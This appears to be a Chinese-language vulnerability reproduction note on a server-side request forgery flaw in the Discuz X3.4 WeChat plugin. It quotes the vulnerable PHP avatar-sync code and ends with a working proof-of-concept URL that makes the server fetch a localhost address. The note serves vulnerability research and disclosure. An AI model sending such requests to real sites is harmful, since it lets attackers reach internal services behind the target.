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Discuz x3.4 Weixin Plugin ssrf

一、漏洞简介

二、漏洞影响

三、复现过程

source/plugin/wechat/wechat.class.php WeChat类syncAvatar方法:

    static public function syncAvatar($uid, $avatar) {

        if(!$uid || !$avatar) {
            return false;
        }

        if(!$content = dfsockopen($avatar)) {
            return false;
        }

        $tmpFile = DISCUZ_ROOT.'./data/avatar/'.TIMESTAMP.random(6);
        file_put_contents($tmpFile, $content);

        if(!is_file($tmpFile)) {
            return false;
        }

        $result = uploadUcAvatar::upload($uid, $tmpFile);
        unlink($tmpFile);

        C::t('common_member')->update($uid, array('avatarstatus'=>'1'));

        return $result;
    }

source/plugin/wechat/wechat.inc.php 中调用了WeChat::syncAvatar,直接用$_GET['avatar']作为参数传进去:

......

elseif(($ac == 'register' && submitcheck('submit') || $ac == 'wxregister') && $_G['wechat']['setting']['wechat_allowregister']) {

        ......

        $uid = WeChat::register($_GET['username'], $ac == 'wxregister');

        if($uid && $_GET['avatar']) {
            WeChat::syncAvatar($uid, $_GET['avatar']);
        }

}

不过因为这里用到了微信登录的插件,所以要利用的话需要目标站开启微信登录:

这里 SSRF 的构造很简单,直接在avatar参数构造 url 即可(只是注意wxopenid参数每次请求都要足够随机保证没有重复,如果重复的话代码是无法走到发起请求的逻辑的):

poc

http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http://localhost:9090/dz-weixin-plugin-ssrf&wxopenid=dont_be_evil